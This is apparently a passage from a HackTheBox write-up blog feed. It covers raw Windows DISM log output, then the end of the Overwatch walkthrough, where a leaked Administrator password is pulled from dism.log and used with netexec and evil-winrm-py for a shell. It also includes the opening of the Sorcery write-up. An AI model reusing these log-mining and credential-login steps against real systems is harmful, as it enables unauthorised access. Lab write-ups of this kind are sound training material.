2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerMediaFoundation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WebDAV-Redirector with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature TelnetClient with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-LPRPortMonitor with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-InternetPrinting-Client with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-AdminTools-Collection with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-MultiPoint-Connector with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-PhotoBasic with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Printing-PremiumTools with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-StorageService with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-FullServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Containers with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Containers-HNS with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Containers-SDN with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DiskIo-QoS with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerMigration with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMBHashGeneration with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Dedup-Core with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DFSN-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DFSR-Infrastructure-ServerEdition with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FileServerVSSAgent with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DHCPServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DNS-Server-Full-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature VolumeActivation-Full-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SearchEngine-Client-Package with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FileAndStorage-Services with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Storage-Services with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature File-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CoreFileServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-MinConsoleFonts with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-BitmapFonts with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-TrueType with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-UAPFonts with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-Support with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SystemInsightsManagement with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SystemInsights with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCore-Drivers-General with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCore-Drivers-General-WOW64 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Client-ProjFS with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SystemDataArchiver with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature HypervisorPlatform with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature VirtualMachinePlatform with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Subsystem-Linux with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature StorageMigrationServiceManagement with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature StorageMigrationService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature StorageMigrationServiceProxy with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Input parameters: Session: 2 - DismCloseSessionInternal
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Refcount for DismSession= 2s 0 - CSessionTable::RemoveSession
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Finalizing CBS core. - CDISMPackageManager::Finalize
2025-05-16 16:05:45, Info                  DISM   DISM Manager: PID=3280 TID=3372 Closing session event handle 0x340 - CDISMManager::CleanupImageSessionEntry
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Refcount for DismSession= 1s 0 - CSessionTable::RemoveSession
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   PID=3280 TID=3364 Temporarily setting the scratch directory. This may be overridden by user later. - CDISMManager::FinalConstruct
2025-05-16 16:05:45, Info                  DISM   PID=3280 TID=3364 Scratch directory set to 'C:\Windows\TEMP\'. - CDISMManager::put_ScratchDir
2025-05-16 16:05:45, Info                  DISM   PID=3280 TID=3364 DismCore.dll version: 10.0.20348.1 - CDISMManager::FinalConstruct
2025-05-16 16:05:45, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Deleted g_internalDismSession - DismShutdownInternal
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Shutdown SessionTable - DismShutdownInternal
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll:                                          - DismShutdownInternal
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: &lt;----- Ending DismApi.dll session -----&gt;
</span></code></pre></div></div>

<p>This session is Windows Defender enumerating server roles. The parent process command line is <code class="language-plaintext highlighter-rouge">"C:\Program Files\Windows Defender\MpCmdRun.exe" -Roles</code>, which is Defender’s CLI scanner asking the OS which Windows Server roles are installed so it can tailor its scan behavior. It does that by loading <code class="language-plaintext highlighter-rouge">DismApi.dll</code> and calling the same API behind <code class="language-plaintext highlighter-rouge">Get-WindowsFeature</code>, against the online image:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Input parameters: ImagePath: DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}, WindowsDirectory: (null), SystemDrive: (null) - DismOpenSessionInternal
...[snip]...
Input parameters: Session: 2, Identifier: (null), PackageIdentifier: 0 - DismGetFeaturesInternal
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}</code> is the well-known GUID for “the running OS”, and <code class="language-plaintext highlighter-rouge">DismGetFeaturesInternal</code> with no <code class="language-plaintext highlighter-rouge">Identifier</code> / <code class="language-plaintext highlighter-rouge">PackageIdentifier</code> means “list every feature in the catalog.”</p>

<h4 id="administrator-credentials">Administrator Credentials</h4>

<p>Looking specifically at the log on Overwatch, on my instance there are 154 instances of it logging a parent process:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\windows\logs\dism&gt;</span><span class="w"> </span><span class="p">(</span><span class="n">Get-Content</span><span class="w"> </span><span class="nx">dism.log</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-String</span><span class="w"> </span><span class="s2">"Parent process command line"</span><span class="p">)</span><span class="o">.</span><span class="nf">Count</span><span class="w">
</span><span class="go">154
</span><span class="gp">evil-winrm-py PS C:\windows\logs\dism&gt;</span><span class="w"> </span><span class="p">(</span><span class="n">Get-Content</span><span class="w"> </span><span class="nx">dism.log</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-String</span><span class="w"> </span><span class="s2">"Parent process command line"</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-String</span><span class="w"> </span><span class="o">-NotMatch</span><span class="w"> </span><span class="nx">wm</span><span class="w">
</span><span class="go">iprvse.exe).Count
10
</span></code></pre></div></div>

<p>All but 10 of them are from <code class="language-plaintext highlighter-rouge">C:\Windows\system32\wbem\wmiprvse.exe - DismInitializeInternal</code>. The other 10 have a very interesting one:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\windows\logs\dism&gt;</span><span class="w"> </span><span class="n">Get-Content</span><span class="w"> </span><span class="nx">dism.log</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-String</span><span class="w"> </span><span class="s2">"Parent process command line"</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-String</span><span class="w"> </span><span class="o">-NotMatch</span><span class="w"> </span><span class="s2">"wmiprvse.exe"</span><span class="w">
</span><span class="go">...[snip]...
2025-12-31 03:15:21, Info                  DISM   API: PID=2020 TID=596 DismApi.dll: Parent process command line: powershell.exe  -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Windows\Temp\hygiene.ps1" -TargetAdmin Administrator -pass ReinhardHammer507 -TargetUser sqlmgmt -dhcp -nu -nd  - DismInitializeInternal
...[snip]...
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hygiene.ps1</code> is run from <code class="language-plaintext highlighter-rouge">C:\Windows\Temp</code> on 2025-12-31 03:15:21, less than a month before the boxes release.</p>

<p>The script is no longer there:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\windows\logs\dism&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">C:\Windows\Temp\hygiene.ps1</span><span class="w">
</span><span class="go">Cannot find path 'C:\Windows\Temp\hygiene.ps1' because it does not exist.
</span></code></pre></div></div>

<p>But the arguments provide a good amount of data:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-TargetAdmin Administrator</code> - The admin username is Administrator.</li>
  <li><code class="language-plaintext highlighter-rouge">-pass ReinhardHammer507</code> - A password, likely the target admin.</li>
  <li><code class="language-plaintext highlighter-rouge">-TargetUser sqlmgmt</code> - A user’s home directory to check.</li>
  <li><code class="language-plaintext highlighter-rouge">-dhcp</code> - The host is configured for DHCP.</li>
  <li><code class="language-plaintext highlighter-rouge">-nu</code> - No idea.</li>
  <li><code class="language-plaintext highlighter-rouge">-nd</code> - No idea.</li>
</ul>

<p>This is likely some script that HTB uses to clean up the box, and it ironically left artifacts on the box with the Administrator’s password!</p>

<h3 id="shell-over-winrm">Shell over WinRM</h3>

<p>Even without a full understanding of the original script, I can guess that the password “ReinhardHammer507” might work for the Administrator user, and it does:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb S200401.overwatch.htb <span class="nt">-u</span> Administrator <span class="nt">-p</span> ReinhardHammer507
<span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.244.81   445    S200401          </span><span class="netexec-logsuccess">[+]</span><span class="go"> overwatch.htb\Administrator:ReinhardHammer507 </span><span class="netexec-pwned">(Pwn3d!)</span><span class="go">
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm S200401.overwatch.htb <span class="nt">-u</span> Administrator <span class="nt">-p</span> ReinhardHammer507
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.244.81   5985   S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) 
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.244.81   5985   S200401          </span><span class="netexec-logsuccess">[+]</span><span class="go"> overwatch.htb\Administrator:ReinhardHammer507 </span><span class="netexec-pwned">(Pwn3d!)</span><span class="go">
</span></code></pre></div></div>

<p>And can give a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>evil-winrm-py <span class="nt">-i</span> S200401.overwatch.htb <span class="nt">-u</span> Administrator <span class="nt">-p</span> ReinhardHammer507
<span class="go">          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'S200401.overwatch.htb:5985' as 'Administrator'
</span><span class="gp">evil-winrm-py PS C:\Users\Administrator\Documents&gt;</span><span class="w">
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-overwatch" /><category term="pentest" /><category term="bug-bounty" /><category term="ctf" /><category term="hackthebox" /><category term="htb-overwatch" /><category term="nmap" /><category term="windows" /><category term="domain-controller" /><category term="active-directory" /><category term="mssql" /><category term="netexec" /><category term="netexec-spider-plus" /><category term="dotnet" /><category term="wcf" /><category term="dotpeek" /><category term="reverse-engineering" /><category term="csharp" /><category term="sqlite" /><category term="mssqlclient" /><category term="mssql-linked-servers" /><category term="htb-darkzero" /><category term="dns" /><category term="nslookup" /><category term="ldapsearch" /><category term="bloodyad" /><category term="dns-record" /><category term="dns-write" /><category term="responder" /><category term="evil-winrm-py" /><category term="nssm" /><category term="http-sys" /><category term="command-injection" /><category term="soap" /><category term="wcf-soap" /><category term="wcf-client" /><category term="secretsdump" /><category term="dcsync" /><summary type="html"><![CDATA[Overwatch starts with anonymous SMB access to a software share that hosts a custom .NET monitoring binary. I’ll reverse engineer it to recover SQL Server credentials and identify a WCF service with a PowerShell command injection sink. With the SQL creds, I’ll find a linked server pointing to a non-resolving host and abuse CREATE_CHILD on the AD-integrated DNS zone to add a record pointing the hostname at my host, capturing cleartext SQL authentication with Responder when the linked server connects out. Those credentials provide WinRM as a user in Remote Management Users. From there, I’ll exploit the WCF KillProcess command injection on a localhost SOAP endpoint to get code execution as SYSTEM, demonstrating four different ways to interact with the WCF service. In Beyond Root, I’ll look at a log that captured the Windows Administrator password from an HTB pre-release cleanup script.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/overwatch-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/overwatch-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Sorcery</title><link href="https://0xdf.gitlab.io/2026/04/25/htb-sorcery.html" rel="alternate" type="text/html" title="HTB: Sorcery" /><published>2026-04-25T13:45:00+00:00</published><updated>2026-04-25T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/04/25/htb-sorcery</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/04/25/htb-sorcery.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/sorcery-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/sorcery-cover.png" alt="Sorcery" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Sorcery is a Linux box with a Rust Rocket web app backed by Neo4j, Gitea, and a Kafka message bus. I’ll exploit Cypher injection in a derive-macro-generated query to leak the seller registration key, then use XSS in a product description to register a passkey on the admin account through a headless Chrome bot. I’ll also show a shortcut to change the admin’s password using cypher injection. As admin, a port-debug tool becomes an SSRF I can use to send Kafka wire protocol messages, which I’ll use to get RCE in the DNS container. From there, I’ll recover a CA keypair from FTP, phish the next user with mitmproxy proxying their own Gitea login page, read a password out of an Xvfb framebuffer, and reverse a .NET binary to generate OTPs for Docker Registry auth. Pulling layers out of a pushed image leaks another password, and the final pivots abuse FreeIPA roles to change one user’s password over LDAP and bootstrap sudo rights to root. I’ll show a couple unintended paths using pspy to capture creds as well.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/665 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/sorcery" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-sorcery.webp" />
          <img src="/icons/box-sorcery.png" alt="Sorcery" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/sorcery" target="_blank" class="htb-box-name">Sorcery</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Insane">
      Insane
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1933162421985644813">14 Jun 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">25 Apr 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/sorcery-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/sorcery-diff.png" alt="Rated difficulty for Sorcery" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/sorcery-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/sorcery-radar.png" alt="Radar chart for Sorcery" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 